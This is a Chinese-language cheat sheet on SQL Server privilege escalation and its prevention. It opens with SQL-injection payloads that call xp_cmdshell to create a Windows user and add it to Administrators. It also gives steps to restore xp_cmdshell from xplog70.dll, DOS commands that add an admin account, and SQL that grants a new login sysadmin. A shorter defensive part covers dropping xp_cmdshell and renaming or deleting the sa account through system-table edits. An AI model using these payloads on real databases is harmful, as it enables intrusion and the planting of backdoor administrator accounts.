SQL Server 提升許可權相關命令及防範
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"--
程式碼開啟cmdshell的SQL語句
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判斷儲存擴充是否存在
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回結果為1就OK
恢複xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回結果為1就OK
否則上傳xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'
堵上cmdshell的SQL語句
sp_dropextendedproc "xp_cmdshell"
DOS:
dir c:/
dir d:/
dir e:/
net user TsInternetUsers Password /add
net localGroup Administrators TsInternetUsers /add
備份恢複IPSEC
secedit /export /CFG c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf
SQL:
exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin
sa帳號的改名和刪除
首先開啟SQL中的企業管理器,接著在工具選項卡中選擇SQL server配置屬性依次,點伺服器設定,看到允許對系統目錄直接進行修改前面的方框嗎,點一下,好。
再開啟查詢分析器,登陸進去(呵呵,隨便你用什麼帳號進去,不過可一定要在master資料庫中有db_owner的許可權)輸入
update sysxlogins set name='你要改成的名字' where sid=0x01
update sysxlogins set sid=0xE765555BD44F054F89CD0076A06EA823 where name='你要改成的名字'
OK,執行成功,好拉,轉道企業管理器中重新整理安全性中的登陸,看看,sa是不是變成xwq拉,呵呵,選中xwq點擊右鍵,怎麼樣是不是出現拉刪除的選項,呵呵,刪除。看看sa是不是已經沒有拉。
後記
直接在查詢分析器裡怎麼刪除sa
直接在查詢分析器裡怎麼刪除sa,做法和前面所說的差不多,只不過這次不是在企業管理器中做手腳拉,而是利用sql提供給我們功能強大的預存程序來完成這項任務。下面就是我所說的需要利用的預存程序sp_configure,sp_configure顯示或更改當前伺服器的全域配置設定。
它的文法:
sp_configure [ [ @configname = ] 'name' ]
[ , [ @configvalue = ] 'value' ]
執行個體:
sp_configure 'allow updates', 1
go
RECONFIGURE WITH OVERRIDE
go
好拉,這樣我們就可以更新系統資料表拉,接下來和前面的做法一樣拉 update sysxlogins set name='你要改成的名字' where sid=0x01,然後再刪除"你改名後的那個名字"
不過要注意在 sp_configure 上沒有參數(或只有第一個參數)的執行許可許可權預設授予所有使用者。有兩個參數的 sp_configure(用於更改配置選項)的執行許可許可權預設授予 sysadmin 和 serveradmin 固定伺服器角色。RECONFIGURE 許可權預設授予 sysadmin 固定伺服器角色和 serveradmin 固定伺服器角色,並且不能傳輸。還得在master中是db_owner。